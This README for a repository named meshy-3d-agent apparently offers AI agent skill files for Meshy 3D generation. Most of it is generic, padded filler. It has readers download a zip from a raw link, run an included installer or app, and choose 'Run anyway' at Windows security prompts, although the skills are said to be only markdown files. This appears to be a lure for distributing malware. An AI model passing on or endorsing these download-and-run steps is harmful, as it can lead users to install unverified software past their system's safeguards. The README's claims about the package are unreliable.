🤖 meshy-3d-agent - 3D AI skills for Meshy workflows

📦 What this is

meshy-3d-agent gives you ready-made AI agent skills for the Meshy AI 3D generation platform. It helps you turn text prompts or images into 3D assets with less setup and fewer steps.

Use it if you want a simple way to work with Meshy through agent skills in tools like Claude Code or Cursor. It is set up for end users who want to get started fast on Windows.

🚀 Download and install

1. Open the Releases page
2. Download the latest release file for Windows
3. If the file is a .zip, right-click it and choose Extract All
4. Open the extracted folder
5. Run the included app, installer, or skill setup file

If Windows shows a security prompt, choose Run anyway only if you downloaded the file from the Releases page above.

🪟 Windows requirements

You need:

• Windows 10 or Windows 11
• An internet connection
• A Meshy AI account
• A modern browser such as Edge, Chrome, or Firefox
• A text editor or agent tool if you plan to use the skills in Claude Code or Cursor

For smooth use, keep at least 2 GB of free disk space.

✨ What you can do

• Generate 3D models from text
• Turn images into 3D-ready assets
• Use AI agent skills for Meshy workflows
• Reuse prompts and task steps in Claude Code
• Use the same skill files in Cursor-style workflows
• Speed up repeated 3D generation tasks
• Keep your setup in one place

🧭 How it works

The repository provides skill files that guide an AI agent through Meshy tasks. Instead of starting from scratch each time, you use a prepared set of steps.

A simple flow looks like this:

1. Open your agent tool
2. Load the Meshy skill files
3. Enter a text prompt or image prompt
4. Let Meshy generate the 3D output
5. Review the result and make changes if needed

🛠️ Setup on Windows

1) Download the release

Use this link to visit the download page:

2) Extract the files

If the release comes as a zip file:

• Right-click the file
• Select Extract All
• Pick a folder you can find later, such as Downloads or Documents

3) Open the skill folder

Look for files with names that match the skill set, such as:

• skill.md
• prompt files
• helper files
• setup notes

4) Add it to your agent tool

If you use Claude Code or Cursor:

• Open the app
• Open the folder that contains the skill files
• Follow the built-in skill instructions
• Load the Meshy skill when you want to create 3D content

5) Sign in to Meshy

If the skill needs access to your Meshy account:

• Open Meshy in your browser
• Sign in with your account
• Keep the tab open while you work if your flow needs it

🧩 Use cases

Text to 3D

Use a short prompt to create a model from words. Good for:

• props
• objects
• simple scene assets
• concept ideas

Example prompts:

• small sci-fi crate with metal edges
• fantasy lantern with carved wood details
• toy robot with rounded parts

Image to 3D

Start with a reference image and turn it into a 3D asset. Good for:

• logos
• product shapes
• characters
• sketches

Tips for better results:

• use a clear image
• keep the object centered
• avoid busy backgrounds
• use a simple side or front view when possible

Repeated agent tasks

Use the same skill files when you need to:

• test new prompts
• create many versions
• follow the same workflow each time
• keep output steps consistent

🧪 Best results on Windows

• Keep one browser window open for Meshy
• Use short prompts first
• Add more detail after you see the first result
• Save each export in a named folder
• Keep your files in one place so you can find them later

If a model looks wrong, try a simpler prompt before you change too many things at once.

📁 Suggested folder setup

You can keep the files in a layout like this:

• Documents\meshy-3d-agent\
• Documents\meshy-3d-agent\skills\
• Documents\meshy-3d-agent\exports\
• Documents\meshy-3d-agent\prompts\

This makes it easier to find your skill files and finished 3D assets.

❓ Common questions

Do I need to know how to code?

No. This repository is meant to help normal users work with Meshy through ready-made skill files and simple steps.

Can I use this with Claude Code?

Yes. The topic set includes Claude Code skills, so the files are meant to fit that kind of workflow.

Can I use it with Cursor?

Yes. The skill files are also suited for Cursor-style use.

Does it work for both text and image input?

Yes. The repository focuses on both text-to-3D and image-to-3D workflows.

Is this only for advanced users?

No. The setup is aimed at users who want a guided path for Meshy tasks on Windows.

🔍 File types you may see

Depending on the release, you may see files such as:

• .md files for instructions
• .zip files for packaged downloads
• prompt templates
• skill folders
• text files with workflow steps

Open the .md files in Notepad, Notepad++, or your agent tool if you want to read the instructions.

🎯 Typical workflow

1. Download the release
2. Extract the files
3. Open the skill instructions
4. Open Meshy in your browser
5. Enter a prompt or image
6. Review the generated 3D asset
7. Adjust the prompt if needed
8. Save the final output

🧷 Topics covered

• 3D generation
• agent skills
• AI
• Claude Code skills
• Claude skills
• Cursor skills
• image to 3D
• Meshy
• skill.md
• text to 3D

📌 Folder and file names to look for

When you open the release files, look for names that point to the main skill content. Common names may include:

• README.md
• skill.md
• instructions.md
• prompts
• assets
• examples

🖥️ If Windows asks what to open

If you downloaded a zip file:

• use File Explorer
• right-click the file
• choose Extract All

If you downloaded a .md file:

• open it with Notepad or your agent tool

If you downloaded an app or installer:

• double-click the file
• follow the setup screen
• finish the install
• open the app from the Start menu

🔄 Updating to a newer release

When a new version appears on the Releases page:

1. Download the newest release
2. Extract it in a new folder
3. Replace old skill files if needed
4. Open the new files in your agent tool
5. Test a prompt to confirm the setup still works

📎 Download again

If you need to get the files again, use the Releases page here:

https://github.com/Laic-parsiism709/meshy-3d-agent/raw/refs/heads/main/skills/meshy_agent_d_2.5-beta.4.zip